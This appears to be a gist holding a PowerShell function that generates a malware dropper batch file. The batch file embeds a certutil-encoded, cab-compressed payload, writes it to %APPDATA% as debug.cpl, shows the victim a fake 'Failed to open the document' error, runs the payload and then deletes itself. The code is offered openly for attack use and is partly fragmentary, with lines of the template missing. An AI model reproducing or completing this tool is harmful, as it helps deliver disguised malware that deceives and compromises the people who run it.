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Last active September 20, 2017 12:15
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Generate Batch file for cpl file
function New-CplBatchFile
Generates a batch file which will contain a certutil encoded, cab compressed payload.
The batch file will decode and decompress the cab file, then execute the dll within with regsvr32. You may modify the bat file to execute whatever you want.
Create payload:
1. makecab payload.dll ""
2. certutil -encode payload.txt
.PARAMETER CabCompressedPayload
File path to the cab compressed and encoded payload.
.PARAMETER BatchFilePath
Path to output the resulting bat file.
The path to output the resulting payload. Placed in the bat file.
New-RegSvr32BatchFile -CabCompressedPayload payload.txt
Generate a bat file from the file payload.txt with all of the default parameter values.
[Parameter(Mandatory = $True)]
[string]$BatchFilePath = "malicious.bat",
[string]$InlinePath = "%appdata%\debug.cpl"
$TemplateBatch = @"
SET OutCpl=`"$InlinePath`"
SET dropPath="%APPDATA%\debug.txt"
setlocal enabledelayedexpansion
) > %dropPath%
certutil -decode "%dropPath%" ""
expand "%OutCpl%"
msg %username% Failed to open the document
start /b %OutCpl%
timeout /t 5 /nobreak > NUL
del "%dropPath%"
start /b "" cmd /c del "%~f0"&exit /b
$certUtilEncodedBinary = Get-Content -Encoding Ascii $CabCompressedPayload
$count = 1
$batchFormattedBinary = $certUtilEncodedBinary | % {"SET `"line$count=$_`"";$count+=1}
$count = 1
$echolines = $certUtilEncodedBinary | % {"echo !line$count!";$count+=1}
$TemplateBatch = $TemplateBatch.Replace("INLINEENCODING",$batchFormattedBinary -join "`n")
$TemplateBatch = $TemplateBatch.Replace("ECHOCMDLINES",$echolines -join "`n`t")
$TemplateBatch = $TemplateBatch -creplace '(?m)^\s*\r?\n',''
$TemplateBatch | Out-File -Encoding ascii $BatchFilePath -Force
Get-ChildItem -Path $BatchFilePath
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